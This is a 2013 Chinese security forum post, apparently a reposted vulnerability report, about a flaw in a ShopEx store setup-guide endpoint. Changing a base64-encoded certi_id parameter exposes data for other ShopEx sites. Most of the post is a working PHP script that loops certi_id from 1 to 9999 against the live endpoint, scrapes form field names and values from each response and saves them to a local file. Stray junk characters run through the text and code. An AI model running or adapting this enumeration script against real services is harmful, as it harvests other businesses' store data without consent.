找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2902|回复: 0
打印 上一主题 下一主题

ShopEx某接口缺陷可遍历所有用户网站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 15:59:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
9 J" ]) @" y/ e$ ]: S) ~$ qShopEx某接口缺陷,可遍历所有网站
+ ^) b! \7 i! K& c" f) L1 L2 l% M详细说明:
; e# G4 }/ H' `' q- J; p问题出现在shopex 网店使用向导页面
4 F9 u& @+ ~3 N; p' K7 u/ a# q; D5 P/ v& g% F
0 |" ~7 x! {$ v' S
; L7 H0 j6 }( u- b  {
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=9 a  X# V7 J7 ~" a8 O

- ]' c5 C/ E4 G  L/ ^! h5 f; W" A( S" M$ Y0 M" Q, c  K
% w: N& v4 @' k4 r
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}6 V; u2 I2 p3 Y7 g

1 C/ Z+ `6 s9 Z) |$ [3 H0 {/ J& W- F: Y

3 B$ G; i2 e# O! ?我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
1 _, J+ v0 b9 I9 U" n
8 O) n6 E! S2 Y2 Q; Z
& `5 f% h6 |6 d, L  ]3 V
( Y* Z* ]1 K: T- E% s( R<?php  E& l3 C" {1 K  _. n. y
2 m( [9 Z, m' L* N* Y& O. ]5 a
                for ($i=1; $i < 10000; $i++) { //遍历
( p* d; B7 w  m/ v2 o7 U
, X- N5 W% f# I                        ShowshopExD($i);
8 K/ g, T" [" a( k- H2 q
, Q* r: g& J  r                }+ f9 E5 r$ g9 u6 l3 _

2 B+ x; J, Z# j: h. D' O# W                function ShowshopExD($cid) {9 L) r6 @" u4 L; O

2 r- B* S7 f8 f$ h) T( J                $url='http://guide.ecos.shopex.cn/step2.php';; T6 y& l# B7 p9 f+ F

  ]4 p7 b' j! P4 ]; K                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
* x2 _% I* Y; Z$ I& l& a7 X9 Z! ]7 n% G" A2 Y
        $url = $url.'?refer='.$refer;' n1 t4 _9 q5 c4 L

3 y* c! t$ s5 w        $ch = curl_init($url);
2 M5 J) P* j# x
$ e" d+ ]1 x8 A$ a8 D3 I7 W        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
8 l/ m/ c7 S. Y1 ?! H. f' E3 d/ f+ R. R. O& ?* W3 g
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;( d, Q6 l3 h/ v
5 l$ V" f6 X0 w3 |0 T
        $result = curl_exec($ch);* d8 ]# o' @. l+ l
4 _; X/ J; }3 Q+ Z: R0 q
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");7 l1 R2 q) y; P

. F0 k: q1 x* s: A- ]& z5 `* ^3 U        if(strpos($result,$refer)). ]6 L% `# E5 S; s- r
; G3 j% l7 q, M8 \. W
        {9 k7 d7 T2 {) Q5 D" Q+ l% f; ^& Z
7 G0 s+ x6 R/ ^" j* L  q3 }
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件& v9 L/ P' M) X- H4 y

3 _3 A  k2 g5 P( ^: _                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);! |, K2 `4 T1 v9 N

) p! |; K: D9 }7 ?6 Q8 ?- M                foreach ($value[1] as $key) {
. i% O- [! W6 s# z6 C
! A4 {1 n, t6 u/ I* e. Z: S                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);5 O' G1 w9 N( T7 h0 C+ N, i, \

1 C! O: B- I' `/ f' d/ Y2 k                        echo $res[1][0].':'.$res[3][0]."\r\n";
- T! L5 O0 g  Z/ J, O8 k4 {" Q, F$ k6 \
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
0 T7 W/ p7 N. r* C1 ]0 C0 o6 ~
% {5 K+ e. S. q                        fwrite($fp, $col, strlen($col));
: j9 C" ]: [3 w5 U
% i4 E4 i) q% O+ p& j' _                }) }3 c) S8 j* l* S8 K/ o& ]: A

( A* ~: d8 z7 m2 _                echo '--------------------------------'."\r\n";
6 V: v' w  I2 M1 o: s" s) V4 n; D8 M: z4 H' Y4 G4 t
                fclose($fp);
. T- W! q/ P3 B; j9 z$ U& L* c  {
        }
1 L1 Q7 E6 B# _# L# v, a: Z1 f: _% ^. h, Y4 r
        flush();
# S8 c1 ]2 k8 ^0 R
" z* {5 ?4 v. u, L        curl_close($ch);  r+ Z( X- h3 q9 x& Z0 p( D
% @" ?" v- s. J
                }, g" v  \6 E6 Y0 t! N

  q& [1 s" z5 s?>9 Z# j  z; b- |- b
漏洞证明:. y* l7 C. K8 w
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
- d# t1 T8 x. N6 i& }8 R$ I% Mrefer换成其他加密方式' X+ B5 n$ S( o- N: m8 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表